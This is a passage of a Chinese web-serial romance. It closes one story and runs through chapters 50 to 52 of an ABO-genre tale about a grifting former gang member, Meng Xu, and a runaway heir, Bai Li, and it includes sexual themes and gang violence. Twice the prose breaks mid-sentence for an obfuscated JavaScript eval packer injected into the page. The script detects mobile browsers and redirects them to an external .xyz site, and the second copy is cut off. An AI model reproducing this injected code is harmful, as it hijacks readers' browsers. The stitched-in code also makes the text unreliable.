一瞬间泪珠扑簌簌落下,剧烈的悲伤和欣喜冲撞在心头,裴颂简竟是直接推开李小环,唇边呕出一滩血溅在她的肩背上。狼狈地噙着眼泪望向李小环,裴颂简明明在笑,却淌了满脸的泪珠,声线嘶哑,他笑骂:“混蛋,你当真以为王府杀不了你是吗?” “杀了我,死之前我也要再上你一次!世子,小环想你.......” 眼里的湿润被她的睫羽遮掩,李小环噙着笑重新将阿简拥进怀里,她紧紧搂着他,像当初他那样用力搂着自己一样。 裴颂简压根没有挣扎,他一个废人,又是丢了心的废人,根本毫无胜算。嗅着小环身上熟悉的香气,他辨认出草木冰雪的味道,这些年他错过的时光,似乎在这些香气中又重现了一遍。 抬手搂住小环的脖颈,裴颂简腕间狰狞的伤疤露出来,皮肉之下的痒意密密麻麻针扎似的,他低头咬住小环的肩头,直到铁锈味蔓延在唇齿间,而她却只是坠着泪珠笑看着他。 一声呜咽不受控地从喉咙里溢出,裴颂简终于在她的目光里崩溃痛哭,狼狈地缠着李小环,在密不透风几乎溺死人的怀抱里,他却终于一千多个日夜的煎熬中得以喘气。 “李小环,上我.......或者杀了我.......” 本来我是打算死在春天之前的,但你来了,李小环,你救我一命,你自己都不知道。 路上走走停停,三月初才到运城,而刚进城门口时,落了一层薄雪。李小环赶着车先到春十里,只是那个账本,她便没让裴颂简下来,他本来身体这三年糟蹋得摇摇欲坠,好不容易这些时日肯好好喝药了,但又总忍不住缠着她胡闹。 李小环知道他的不安,要靠抵死缠绵的瞬间抚平,所以也忍不住拒绝裴颂简。昨夜吹了风,他早起便有些发热,但因为要到运城了,裴颂简又忙活着添置家具,列了一个清单,密密麻麻写满了注意事项。 “好主夫,你对你当家的可真好。”下车前李小环掰着他的脸捏了一口,在裴颂简笑着回吻之前跳下车,嘱咐他好好待在车上别下来吹风。 而李小环笑眯眯地到店里拿完账本,嘚瑟给伙计们看她手腕上裴颂简给她编的五彩绳,而后在一片打趣声中跑到街上,运城一片雪白的街道上,披着玄色氅衣的俊美青年扶着照夜白,低头温柔地用手指给他梳理鬃毛,而李小环怔怔地站在不远处的台阶上望着这一幕。 雪花再次飘落,无声息地落在运城这荒芜之地上。青年察觉到落在自己身上的目光,转过身,波光潋滟的凤眼蓦然一弯,望着双颊微红的女君,他招招手,一如多年之前无数次那样。 青年步伐踉跄地朝着她奔跑过来,唇畔莞尔,一霎间,小环飞奔而去将他搂紧怀里。 耳畔是阿简温热的气息,她双眸湿热,模糊的光影里,李小环看到了荒芜之地上鲜花盛开。 运城苦寒,唯他一笑坐生春。 “小环,我们回家去吃云吞面吧。” “不要,回家先睡你。” “哼,仔细你手断了算不了账,当家的。” 雪还继续落,地上一串凌乱的脚印蜿蜒至烟火人家处。 分别第三年,李小环和裴颂简,终于迎来了他们第一个春天。 ——完—— 50.当你撬了落魄豪门少爷的墙角后(一) 狡猾唯利是图不择手段仇富小人物alpha女主×偏执沉默黑化忠犬泪失禁alpha男主 孟绪×祝篱 *孟绪,你不就是个人渣吗?那我现在穿着姐姐的裙子,你为什么还不上我? ------------------------------------- 孟绪最近在酒吧捡了个“大活”。 原本只是想去酒局混两天饭钱,所以就在朋友介绍下替补乐队的贝斯手,那天是元旦的前一天,酒吧很冷清,乐队众人表演也是草草了事,权当是富二代们买醉的背景音乐。 中场休息,孟绪下台去抽了根烟,结果刚点着,吹来一阵薄荷酒的香气,穿着黑裙的女人嘴里咬着香烟凑到她脸旁,垂着眼睫,女人并没有看孟绪,只是用自己嘴里的香烟碰了碰她咬着的香烟,声音冷淡道:“借个火,谢谢。” “哦,一次两百,再借五折。” 孟绪笑眯眯地后退一步,手指夹着香烟,朝女人挑眉笑了笑,酒吧门口暖黄色的灯光融在孟绪茶褐色的眼睛里,像一片暮色的湖面,晚风吹开散落的碎光。 当年还在无尾城当帮派里的二五仔的时候,孟绪就知道自己长得格外纯良好看,尤其招养尊处优的上位者的怜爱。所以只是瞧了眼女人尾指上的戒指,孟绪便不着痕迹地放出钩子,能不能成,就看女人今晚到底是来疗情伤还是单纯就为了借火。 祝月深深凝睇着眼前这个贝斯手的眉眼,恍惚间有些沉溺在那一片暮色的碎金湖面当中,她又想起那个杳无踪迹的女人,捋了捋头发,并不戳破孟绪的把戏,只是掸了掸烟灰,直截了当地从手包里抽出一张卡,夹在指间递到孟绪面前,说:“卡里有七十万,包你两个月,跟我回家结个婚。等到两个月之后,离婚时我会再给你一百五十万。” “啊?我啊。”孟绪惊得烟都掉了,皱眉指了指自己,得到祝月平静的点头之后,身体很诚实地接过银行卡,但表情还是懵的,眨了眨眼,半晌咬了下舌头,疼得呲牙咧嘴,这才忍不住抬头看了看月亮,后知后觉地说:“好家伙,算命的瞎子说我大器晚成,原来姐的事业在这啊.......” 说起来孟绪今年才二十七岁,但从无尾城一路混到同光市,依旧是住在便宜的合租房里,每天半夜因为吹头发被隔壁打游戏的死宅室友哐哐锤墙警告。 当然这些孟绪也不太在意,十三岁的时候就辍学到理发店当洗头小妹,后来因为剪秃了镇长的假发,孟绪又被赶到街上,走投无路就在地下赌场混了个门童的差事。后来遇到光哥,因为机灵嘴甜,被收编成青鱼帮的小喽啰。从此就开启了孟绪的二五仔生涯。 一几年的无尾城还没有整改,帮派之间乱斗抢地盘很严重,孟绪经常跟着光哥打群架,从一开始的挨揍到后来学会偷奸耍滑,跟在傻华身后捡人头,慢慢地也混到个小头目的头衔。 光哥那时候还没有吃枪子,在无尾城可谓是目中无人,连警署都不放在眼里。谁惹他高兴,钱和权就不要命地往对方身上砸,但谁要是不痛快,光哥就一定会像条咬住人的疯狗一样,非得扯掉对方一条腿才肯罢休。 孟绪从小在孤儿院里长大,为了口吃的装纯卖傻信手捏来,所以十七岁那年就因为哄得光哥高兴,被认作了光哥的十一妹,在青鱼帮也算是崭露头角,从此在无尾城都能狐假虎威起来。 孟绪被光哥派去管理十一中片区,很多和她同龄的学生都被收过保护费,也有一些硬茬被揍得喊爹喊娘,但一般打人的活,孟绪都是让傻华上,自己则负责最后笑眯眯地扶人起来,再一脸同情将硬茬身上的钱和手机全部卷走。 她当时还得了个诨号——花蛇孟,总之就是此人阴险狡诈,实在是道德败坏。不过因为长期营养不良,孟绪到十八岁分化成alpha之后,依旧是弱不禁风的模样,穿着松散的黑衬衣,狗啃似的半长发也趁着她在文弱中又多了几分肆意凌厉的英气。所以也招了不少一开始并不了解她的少男少女们。 只不过孟绪很有原则,她只喜欢omega,并且还要是有钱的omega。等到陪对方走完校园恋爱的流程,接送过上下学、吃过食堂、买过奶茶、看过电影之后,便心安理得地收下对方的昂贵礼物,然后再挑个好日子,满眼不舍地摸着omega的脸,说出她说烂了的借口:“乖乖,你太干净了,我舍不得碰你。” 据孟绪观察,往往这样,甩过的omega不仅不恨自己,还通常会被自己当成堕落的白月光或者是等待被拯救的小可怜,不仅不纠缠,还会暗中送钱接济她。 这些善意的救赎,孟绪心安理得地接受,然后继续带着傻华他们一帮兄弟在片区招摇撞市地搜刮钱物。只不过唯一符合人设的是,孟绪始终笑意盈盈地弯着眼,茶褐色的眼瞳沁着光,像是她最后一点干净的良心。 但可惜,对于十几岁的孟绪来说,良心,对她用不上。 孟绪当二五仔的时候,坏毛病还挺多的,手里存了点钱,便憋不住想去赌场摸两把。所以和上一个厂二代分手之后,拿着还热乎的分手费,她带着傻华一起去地下赌场准备玩个通宵。 门童也认识她,笑眯眯地弯腰喊了声孟姐,她抽出两张纸币当成小费塞到门童的帽子里,而后走到楼梯口,刚推开厚重的木门,就被一股重力撞到栏杆旁边。 傻华没有接住孟绪,她左胳膊磕到栏杆上,疼得面目扭曲,而来不及等她发火,赌场的打手就围住一个鼻青脸肿的少年,恶狠狠地吐了口血水,踩住少年的肩膀,怒骂道:“老子在无尾城混了这么多年,什么道上的人没见过,还他妈第一次碰见来赌场吃霸王餐的,你这孙子是想找死吗?嗯?” 为首的打手骂着,脏污的鞋底又碾了碾少年的侧脸,孟绪顺着缝隙看了眼刚才撞她的少年,瞥到他颈间用红绳圈着的平安扣,猛地目光一亮,想起来自己某一任前对象家里好像也收藏过这种平安扣。 尤其是刻着花纹和图腾的,一般都是有头有脸的家族里为长子长孙准备的礼物,代表着继承者的身份。 孟绪观察那平安扣上确实有精细的纹路,只可惜她看不出来是哪个家族,但这没关系,反正瘦死的骆驼比马大,少爷指头缝里漏出来一点,都能够她吃一年了。 虽然不清楚少年怎么沦落到无尾城,但孟绪秉持着风浪越大鱼越贵的道理,还是忍痛站起来,熟络地走过去和打手们攀谈。 因为赌场和帮派之间利益勾连,所以孟绪的话还是有点份量在的,一人给他们点了根好烟,孟绪又掏出赌本垫付了少年的“赎身费”。好不容易将人哄走,只剩下她和傻华,还有地上的少年时,孟绪长舒一口气,勾了下颊边的头发别到耳后,她蹲下身,将口袋里唯一的一张湿巾递给地上的少年,眼睛忽而弯了下,她语气轻松道:“好了,现在我是你的债主了,当然,你也可以叫我主人。” 孟绪将少年带回了宿舍,青鱼帮一般是五六个弟兄住一层大平房,也有出去自己租房子住的,只不过孟绪懒得花钱,再加上平常惹的人太多,生怕有仇家趁着自己睡觉上门寻仇,所以即使混成了个小头目,孟绪仍旧抠抠搜搜地和傻华他们挤在一间宿舍里。 因为少年脸上和身上都有伤口,所以孟绪就让傻华去楼下老徐那里赊点紫药水和创口贴,记到光哥账上,月末一起结了。傻华冷着脸骂她一句鸡贼,但还是听话地去拿来了药。 “我看你这一路上也不说话,声带被割了吗,兄弟?” 孟绪给少年处理伤口,目光掠过他颈间的平安扣,瞧见那玉石上雕的隐约能看出是莲花,但这究竟是哪个家族的图腾就不得而知了。少年也察觉到了她的视线,拢了拢衣领,警惕地瞪着孟绪。 她哂笑,用棉签在少年脸上的伤口处狠狠戳了一下,将药膏扔给他自己涂,自己则坐回凌乱的沙发上,随手摸出根烟抽了起来。 “我跟你说,小子,别用这种眼神看我。在无尾城,没有清白和规矩,既然来这了就别想着装纯。说说吧,打算怎么谢我?” “我现在没钱。” 少年捂着脸上的伤口,刚才孟绪一戳,眼尾不自觉溢出生理性的眼泪,他垂眼坐在地板上,发丝凌乱,反而像是一只受伤的大狗。孟绪吐出一口香烟,俯身捏住少年的下巴,笑眯眯地开口道:“我当然知道你没钱,但是少爷,你知不知道还有一种说话,救命之恩,无以为报,以身相酬呀?” “我是alpha。” 少年皱眉挣开孟绪,香烟呛得他咳嗽,微挑的丹凤眼染着濡红,抿过的唇瓣也玫瑰花瓣似的红艳润泽,碎发遮在眉间。孟绪端详着,啧了一声,摇了摇头遗憾地坐了回去:“艹,我以为我自己都长得够像omega了,没想到我的好兄弟,你,才他妈是A同的天菜啊。” 孟绪开着玩笑,也懒得逗他了,原本就打算放长线钓大鱼,所以她起身从床上抽出一张皱巴巴的毛毯,扔给少年让他去和傻华一起睡。自己也走到走廊尽头那个单独的卧室里,刚准备关上门,就被随后随后追来的少年伸手拦住了。 “那个,我........我现在没地方去,能跟着你吗?” “呦,”孟绪环着双臂靠着门框,看着眼前勾头请求的少年,她笑了笑,问:“这就是你的投名状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336615|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?连个名字都没有。” 少年抬眼,走廊昏暗的灯光下,他认真地盯着孟绪回答:“我叫白篱,今年十八岁,刚分化成alpha。” “行,回去睡觉吧,有事我再找你。” 孟绪点点头,记住了他的名字,打着哈欠准备关门,但又被白篱拦住,目光灼灼地凝视着她,语气郑重地问:“下一次是什么时候?你要和我说清楚,你不清楚我不知道的。” “你.......”孟绪噎住,看着白篱眼里殷切的求知欲,半晌没把脏话骂出来,摆了摆手妥协道:“下午一点,下午一点行吧!明天下午带你去巡街。” “好,”白篱终于松开,转身之前还是不忘又嘱咐了一遍:“那我提前十五分钟,也就是十二点四十五在客厅等你。” 彭——孟绪甩上门,孟绪不听! 自从收了白篱当小弟,孟绪一双天生的笑眼都笑不出来了。打架的时候但凡她耍狠说一句往死里打,白篱就真的玩命收拾勒索对象,搞到最后还得孟绪亲自勒着他的脖子咬牙切齿地道歉说自己刚才说错了话。酒局饭局还有赌桌上更不用提,但凡孟绪给他使个眼色,白篱就没有看懂过,还要直接起身凑到她面前问:“你刚才看我是什么意思?孟绪,你说出来,你不说出来我真的不明白。” 顶着所有人的目光,在场面陷入尴尬的零点零一秒,孟绪苦笑,狠狠拍了两下白篱的脸,“和蔼”道:“没什么意思,让你多吃点.......”补补心眼子。 渐渐地,孟绪不太愿意带着白篱出门,但偏偏他又和傻华他们处不来,有次回宿舍,她还撞见老吴喝醉了把白篱当成OMEGA压在地板上,少年五官过于精致,身材又略显单薄,所以很容易被误认为omega。 因为老吴在道上混得时间长,资历深,打起架来,估计她和白篱两个人都打不过。所以上前扯开两人,孟绪拽住剧烈喘息双眼赤红的少年,扣着他的后颈将人摁在自己怀里。 孟绪赔着笑脸,语气调侃地对醉醺醺的老吴说:“吴哥,你这不地道吧,咱们青鱼帮可是定的规矩,不能抢兄弟的老婆,这小白跟了我,你再碰他不好吧?” “啊?是吗?”老吴醉的意识不清,看见埋在孟绪怀里身子战栗的少年,忙不迭地道歉:“哎呦哎呦,你看哥这眼神,对不起啊,小孟,哥,哥真的刚才就摸了摸这小子的脸,还被他咬了一口。真的,哥发誓,哥没碰你的马子啊。对不住,对不住,哥去红柳街去啊。” 孟绪手指摩挲着白篱的后颈安抚他,点了点头揭过此事,等到宿舍安静下来之后,她松开手,但下一秒又被白篱狠狠勒住腰,少年埋在她颈侧,很快温热的液体就打湿了孟绪的头发和衣领。 她僵直地站在原地没动,捏了捏手指想抽根烟,但发现兜里没带打火机,只能咬在嘴里,敷衍地拍了拍白篱的后背,安慰他:“好了好了,这次是老吴喝醉了,刚才宿舍又没人,以后就不会了,或者等你再长大一点,变得更能打的时候,就没人能欺负你了。” “不是、不是老吴。”白篱抽噎着抬脸,矜贵的凤眼水湛湛的,蕴着殷红,少年的脸被闷得泛起一层绯色,凌乱的乌发黏在瓷白的皮肤上。他盯着孟绪,忽然眨眼又掀落一串眼泪,直白地说:“是你,孟绪你已经躲了我十三天了,你说过让我跟着你混,但你骗我了。” “不是,我忙啊,我不能有自己的事情吗,少爷?”孟绪无语,想骂人但在白篱湿漉漉的目光,她又骂不出来,只能碾碎手里的香烟,妥协道:“行行行,别哭了,你不是alpha吗?哪个alpha整天哭哭啼啼的。” “我不是哭哭啼啼,我是泪失禁,这是一种病。”白篱皱眉,抓着孟绪的手解释。 “嚯,这病真洋气。”孟绪不以为然,眼看白篱情绪平缓了一些,便带着他坐回沙发上,刚想倒水喝,白篱又起身从厨房端出一盆酒酿汤圆,咣当放到孟绪面前,胡乱擦着眼泪认真道:“喝这个,我给你煮的,华哥说你喜欢喝酒酿汤圆。” “呃,怎么说,”孟绪看着比自己脸还大的一盆酒酿汤圆,看了看满眼期待的白篱,又看了看汤盆,无奈端起来埋头喝了一口:“少爷,有没有可能,我是喜欢喝酒酿,但不是想让酒酿淹死我?” 白篱又点头,盘腿靠在孟绪身边,泪眼亮晶晶地望着她的侧脸,尾指不着痕迹地捏住一根她粘在衣服上的发丝,藏进掌心之后,少年点头答应:“喔,我以为你喝不饱呢,那下次我煮汤之前问问你,但孟绪,”伸手揪住她的袖子,白篱凑近,脸几乎挨着她的肩膀,郑重地说:“你不能再不理我,不然我总是做错事情。” 51.当你撬了落魄豪门少爷的墙角后(二) 孟绪没有再躲着白篱,主要也怕这少爷趁她不注意闯出更大的篓子。又晃荡到入冬的时候,离白篱到无尾城已经有小半年的时间了,偶尔喝酒,光哥还会提起这半年倒是少见老十一耍朋友啊。孟绪心里也苦,想起自己只要冲哪个小omega笑笑,白篱指定要绕到她和omega之间,特别执拗还大声地问:“你为什么要冲他笑啊?孟绪,你是不是想睡他?” 暧昧的气氛一击即碎,孟绪当场都能脆了,恨不得给白篱一杵子。不过更多时候因为白篱生得过于精致,跟在孟绪身边,两个人像是女混混和她白票的酒吧男模似的,无言之中断送了孟绪一大把一大把的桃花。 但虽然心里苦,孟绪也不敢在光哥面前表露出来,只能赔笑说自己最近修禅,对那方面没啥需求。傻华坐在隔壁桌听见笑稀了,喷了对面一脸啤酒,两人摔桌子摔碗地扭打到一起。 青鱼帮的兄弟倒是见怪不怪,都挪了挪凳子给他俩腾地方,或者有的上去还趁乱添了几脚。光哥头都没抬,又瞟了眼老吴,给孟绪加了一块鱼肉,说:“最近你那个小弟白篱,怎么不见你带他来吃饭?” “哦,他前几天打架追着别人跳到了河里,有点发烧,还没好透就让他在宿舍睡觉了,免得来传染给兄弟们。” 孟绪说的是实话,但也有她的私心,白篱这个金饽饽,还是放自己手里更踏实。到时候她混成了白篱唯一的过了命的好朋友,等他认祖归宗,还不给自己整几个楼盘当谢礼? “是吗?老十一还挺心细。”光哥给孟绪斟酒,笑着打趣,但却意味不明地抬眼看了看她,忽而又补充道:“你是不喜欢alpha对吧?我记得你说过什么A同太时尚,和你这种土鳖无缘,是老十一你说的对吧?” 孟绪这时候也看了眼老吴,心下明白,勾唇笑了笑,接过光哥手里的酒杯仰头喝了个干净,“这点光哥放心,我知道您不喜欢在咱们地盘乱搞这些东西,不会的,放心吧。” 光哥没有说话,垂眼的瞬间男人硬朗的轮廓也在灯光下显得有几分柔和,他看着孟绪扔在手边的空酒杯,扶正之后倒满酒自己喝了起来。 “行,你能把哥的话记心里就行。” 孟绪从酒局回到宿舍,驮着被酒瓶子砸懵的傻华,呼哧带喘地爬到了六楼,刚准备敲门,宿舍门先从里面打开了,一个面容清冷的女人身后跟着四五个保镖,上下打量了一番孟绪,而后冷笑着掩了掩口鼻,侧身从她身边挤过去。 “您现在不愿意,等过几天我再来,不过,再答应回虞城之前,您名下的钱产会处于冻结状态。” 女人撂下这句话之后便带着保镖走了,孟绪和傻华靠在栏杆旁,望着屋子被砸的乱七八糟的场景,还有少年通红的脸和被扭青的手腕,一时间面面相觑,谁都没敢先进门。 白篱站在客厅朝走廊睨过来,面无表情地看着孟绪,下一秒泪珠便毫无征兆地滴落,一颗一串,整张脸很快就被哭湿了,沾着绯红与艳霞,还真像是春雨落桃花,旖旎艳光,倒让人有些不敢直视了。 “你们站在门口干什么?华哥脸上怎么乌青乌青的,我去拿药。”因为眼泪还没止住,白篱习惯了就没去擦,转身去自己房间找伤药,递给傻华之后,自己又赤着脚收拾起屋子,直到客厅一尘不染,连孟绪前几天藏在沙发缝里的香烟都被他收缴了出来。 最后到凌晨两点多,孟绪打完十几把斗地主准备回屋睡觉前,正在洗手间搓衣服的白篱甩了甩手上的水,拦在孟绪面前,低头和她解释那个女人的身份。 “那个女人要我回去,可我爸没了,那就不是我的家,我不回去。” vocal,少爷,你不回去我想回去啊! 孟绪脸皮抖了抖,恨不得打包快递给白篱空投回去,但她还要维持好朋友的人设,所以善解人意地拍了拍白篱的肩膀,她只笑了笑,云淡风轻地对少年说:“这些你不用和我解释,来我们青鱼帮的兄弟,哪个不是没有来路也断了余生的。只要你想,跟着姐混一辈子都行。哪天想走了,姐送你回家。” 顺便再给你找份工作,在你家当保安都行,只要管吃管住再交七险三金。 孟绪想到未来的富贵狗腿子生活,笑容就更添了几分真诚,结果刚抬手准备再摸两把白篱的脸,就被他抓着手紧紧攥住,噙着泪水的凤眼在灯光下揉满碎光,白篱真切地盯着她,好像看透了这个人但又忍不住赌一丝希望,问孟绪:“你真的愿意愿意让我永远跟着你吗,孟绪,你这次没有骗我吗?” “当然啊,我们是好朋友。” 刚说完,怀里便撞进了少年滚烫的身体,他几乎脱水,虚弱地圈着孟绪的腰,脸颊埋在她的颈窝里,呼出的气息也滚烫湿热,孟绪不得已揽住白篱,伸手抿了抿他脸上的泪水和黏住的发丝,将他拖到自己房间扔到床上。 她打开窗户透气,屋子里浓郁的白桃味几乎呛人,alpha的天性使得孟绪烦躁起来,后颈有些刺痛,咬着牙烧了壶水,捏着白篱的脸将要灌下去。 但刚吞下,少年便被呛住,弯腰吐了一身。孟绪头疼,只能将他宽松的睡衣扒下来,又调试好花洒的温度,将白篱架到卫生间冲洗。 他一直迷迷糊糊的,烧得脸颊绯红,但没想到,全身的皮肤都泛着层粉色。秉持着都是alpha好朋友的信念,孟绪还贴心给他搓了沐浴露,最后拿着浴巾随意一裹,抓着白篱的手臂准备将他拖回自己的房间。 “你不走,你不走,孟绪,我难受,你给我摸摸........”将脸蹭在孟绪的颈侧,白篱仿佛有意思一样,抗拒着不肯出卫生间,将她抵在凝着水珠的瓷砖墙面上,少年又湿又热地贴紧了她。 “艹,我们是好朋友,不是桉磨榜啊!” “不是好朋友啊.......”白篱反驳,迷离深润的瞳仁都透出一丝执拗和清明,他抓着孟绪的手按在自己凶口,认真地帮她回忆:“你不记得了?十月十五号那晚上凌晨一点十五分左右,你和老吴说我是你的老婆,你说咱俩好了,我当时让你抱着没反抗,就表示我同意了啊。你现在怎么能说我们是好朋友呢?” “孟绪.......”白篱捏着她的脸,又忽然倾身碰了碰她的额头,不满地质问:“你是不是笨蛋呀,话都不会说,我们明明应该是男女朋友。” “卧槽.......”孟绪震惊,孟绪抬手砍晕白篱,孟绪不接受:“我可以穷死,但我不能被A同恶心死啊啊啊啊!!” 打晕白篱之后,孟绪给他锁在自己房间,转身下楼蹬着破自行车直奔酒吧。凌晨三点多酒吧真是客人喝醉之后原形毕露的狂欢阶段,孟绪镇定自若地挑了个包厢进去,虽然和房间里的人不认识,但她还是笑眯眯地挤到旁边坐了下来,拿起桌上没喝完的酒对瓶吹了起来。 “唉,姐姐,你是他们新叫来的朋友吗?为什么刚才没有看到你呀?” 一个脸颊陀红的男模挨到孟绪身边,刚被灌完酒,白衬衫的衣领处还湿着,贴在凶口的皮肤上露出隐约的粉色。孟绪瞥了他一眼,没动手先问了一句:“你是omega吧?” “当然呀,姐姐。”男模似乎不知道孟绪为什么要多嘴问这个,但随后依旧眨着眼睛,黏黏糊糊地靠到她肩膀上,“而且人家刚满十八岁哦~” “行了哥,好赌的爹,生病的妈,还有清纯的你,这话术都用烂了,下次不准再用了。”孟绪没理会男模的调情,捏着他的下巴又灌了一口酒之后,伸手摸了摸男人眼尾被呛出来的泪花。 有点像白........vocal我在想什么! 孟绪惊恐地甩了甩脑袋,低头亲了下男模被酒润湿的唇瓣,然后问:“多少钱一晚?” “六、六百。”男模怔怔地撑着上半身仰望着孟绪,包厢闪烁的灯光下,她的眼睛也明明灭灭好像流动的星河。因为很少会有顾客在灌酒之后还调情似的摩挲亲吻他的唇瓣,男人竟能在她的举止之间品出一点单薄的怜惜....... “六百.......”孟绪蹙眉,垂眼时睫羽的阴影像是蝶羽般蹁跹到男人心头,男模身子有些发颤,攥着孟绪的手腕,几乎想要献祭一般吻上她微蹙的眉头,安抚她的忧虑。 但下一刻,陷入心动的男模就听见孟绪认真地说:“六百有点太贵了,不能给我打个七五折吗?” 孟绪最后因为价格没谈拢被酒吧老板轰了出来,倒也不是那个男模不愿意,主要也是她倒霉刚好碰到酒吧老板来送节目,然后发现孟绪又来蹭酒喝,这次居然还想要拐走他的员工?! 所以最后就是凌晨四点多的街头,孟绪推着破自行车到路口等红灯,这时候酒吧街上全是酒瓶塑料袋还有呕吐物,她折腾半天有些饿,想找个淀粉肠摊都找不到。 十一月多的凌晨,孟绪倔强地裹紧围巾,冻得在街头恨不得举着自行车做几个深蹲。突然路口旁边响起一声喇叭声,孟绪哆哆嗦嗦地看过去,一辆豪车降下玻璃窗,刚才在酒吧的男模愧疚地朝她打招呼:“真、真是对不住,没想到你这么穷还来捧我的场,对不住,对不住,我刚才以为你砍价是来捣乱呢。” “我穷得这么不明显吗?”孟绪心灵受到冲击,刚好这时候绿灯也亮了,她骑上自行车准备走,但男模却又把车停到路边,直接下来走到她身边,脱下他重工定制的大衣搭在孟绪身上,他低头,眼里竟有几分认真,提议道:“是这样的,如果、如果你不介意我的工作的话,可以和我谈恋爱吗?其实.......其实我今年二十二了,进这个行当已经三四年,但还没有谈过恋爱呢。我、我想知道在女朋友床上和平常工作会有什么不一样........” 啊?不是、不是哥们,当男模三四年就能买豪车了???vocal,有没有渠道啊,我也想入行! 男人见孟绪一脸呆愣,以为自己太冒昧吓到了她,毕竟看起来孟绪也就只有十七八岁,估计还是太年轻,没怎么接触过自己这种人,应该徐徐图之的。 “你不用现在就回答的,抱歉,我吓到你了吧,要不先加个联系方式吧,我看电影里谈恋爱都是要先加......” “孟绪!” 一声愤怒的声音打算了男人的话,孟绪也转身,果然看见白篱穿着单薄的睡衣跑到街上,少年手肘还有擦伤,估计只砸门留下的。他红着眼死死盯着孟绪被男人牵住的手腕,眼里溢出的凶狠,像是一只被偷家的野狗,恨不得冲上去将对面的男人给咬碎。 白篱闯了个红灯跑到孟绪身边,不由分说地圈着她的腰钻进孟绪怀里,隔开了她和那个男人,白篱仰着脸,泪珠毫无征兆地一串串滑落,声音闷闷的,委屈地质问:“你为什么要把我打晕?还把我锁在卧室里,我醒过来看不见你都要吓死了。孟绪,我难受着呢,我易感期你不能陪陪我吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这倒也是,傻华放下心来,和孟绪一起去找光哥商量事情,最近青鱼帮似乎有了大麻烦,经常和警署那边发成摩擦,还有很多地下产业被查封,听过就最近几个月,一些零散的小帮派已经被灭了,现在的青鱼帮也是逐渐被警方试探,指不定哪天就爆发正面冲突了。 光哥昨晚刚受了伤,胳膊上被砍了一刀,又刚好碰上他的易感期,寻常的抑制剂对他没有用,需要找黑市的冯医生调配。但最近黑市被端,众人都行踪不定,已经派兄弟们去找了,但能不能找到还不一定。 孟绪和一帮人愁云惨淡地抽烟,商量也商量不出来个对策,二楼光哥又醒了,一屋子糙老爷们不知道怎么照顾人,就把正蹲在地上打牌的孟绪给推了上去。 房间里都是楚光浓烈的信息素味,因为是顶级alpha,所以他的信息素对于刚分化的alpha有很强的压制性,孟绪后颈腺体刺痛,但忍着强烈的不适,她还是端来凉水给光哥擦了擦身上的汗,而后又找来医药箱给他换掉被血浸湿的绷带。 扶着光哥的后颈将他放回床上时,忽然孟绪的手被钳住,怀里的男人睁开眼,凌厉的视线在看清楚眼前的孟绪之后,蓦地柔和起来,吐出一口热气,紧绷的身体也变得松弛,倒在孟绪怀里显得有些脆弱。 “是你啊,老五老六他们呢?” “五哥他们去找冯医生给你拿抑制剂去了,其他空闲的兄弟在楼下守着呢。” 孟绪如实回答,弯腰想要将光哥放回床上,但是男人揽着她的肩膀没松开,闷热的呼吸不停地拍打着她的耳垂。 vocal,vocal,不要啊光哥!!!孟绪人都脆了,弯腰抱着楚光的手猛地松开,男人砸在床上,肩膀的伤口又洇出血,他侧脸埋在枕头里闷哼一声,而后沙哑地笑出来。 “你是想砸死你哥然后自己篡位是吧?” “不是,不是啊,哥,我.......我真的不是.......” “行了,”楚光侧目看着孟绪纠结慌乱的解释,抬手打断她,最近无可挽回的颓势让他十分疲惫,南边的祝家最近也和警署达成了合作,有他们提供物资之后,就不知道自己的人还能撑得住多久。 “抽屉里有一张船票,一个月之后开船,到时候你半夜去码头,和接应你的人联系,直接换个身份往北去,在碰到警察之前不要下船,一旦穿制服的人查身份,赶紧跑,赶紧跑知道吗?” “可是你呢?光哥,你和兄弟们呢?”孟绪听出了楚光话里风雨欲来的意味,没有一点犹豫将船票揣到了兜里,但还是看着靠在床头抽烟的男人,多嘴问了一句。 “怎么?还想要哥陪你当过街老鼠,东躲西藏的?”楚光掸掉烟灰,将抽了一半的烟递给孟绪摁灭。他想起来这小孩第一次抽烟还是自己交的,当时在赌场她瘦巴巴的,只睁着一双明润的眼睛,远远地看见了他就弯成月牙笑。 那时候他觉得她可怜还可爱,就时常照拂着孟绪。期间虽然想过把她接到青鱼帮,但自己干的到底也不是什么光彩的生意,就没有提这一茬。只不过后来有次他和仇家在赌场打了起来,手起刀落把对家脖子捅穿之后,老五他们收拾残局,一直躲在门外的孟绪却趁乱跑了进来。 女孩破旧的皮鞋哒哒哒踩着地上的血,绕过所有人跑到坐在赌桌上抽烟的楚光身边,仰着脸,努力把打火机递到他嘴边没有点燃的香烟旁。 她还是在笑,眼睛被橘红的火焰衬得热烈璀璨,孟绪点燃楚光的烟,又小心地问:“哥,我能跟着你吗?我不想再挨打了.......” 52.当你撬了落魄豪门少爷的墙角后(完) 楚光受伤的消息很快扩散了出去,之前有过关联的人最近都惴惴不安地观察着无尾城的形势。孟绪和傻华他们也很少出门,除了白篱依旧是气鼓鼓地每天往外跑。 “最近这孩子怎么像是谈对象了?每天往出跑,也不说干什么,半夜一身香水味回来。” 傻华和孟绪一起嗑瓜子,说起来白篱,一米八几的肌肉男愁得像是老公不着家、儿子泡网吧的中年受气小媳妇。 孟绪盯着手机,最近在家做游戏陪玩攒路费钱,听见傻华抱怨,随口就说:“怕什么?他一个alpha还能被搞大肚子吗?再说了,他在外面就算是开后宫,那也有人家家里面给收拾,干你什么事。” 